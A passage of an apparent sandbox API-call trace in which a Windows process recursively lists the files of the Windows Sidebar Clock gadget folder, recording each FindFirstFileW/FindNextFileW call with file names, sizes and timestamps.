lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0260.951] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0260.951] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0260.951] GetProcessHeap () returned 0x550000 [0260.951] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0260.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0260.952] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 0 [0260.952] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0260.952] GetProcessHeap () returned 0x550000 [0260.952] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0260.952] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0260.952] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0260.953] GetProcessHeap () returned 0x550000 [0260.953] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0260.953] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0260.953] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0260.953] GetProcessHeap () returned 0x550000 [0260.953] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0260.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.106] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.152] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0261.152] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c2142f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c2142f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb44f393c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c4758e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c4758e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4bf19dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6d6ed, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c6d6ed, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e2ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c9384c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8c9384c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e52fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0261.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e7913c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e9f29c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ec53fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f3781c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 1 [0261.154] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dc4344, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dc4344, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dea4a3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dea4a3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e10602, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e10602, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0261.155] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0261.156] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, 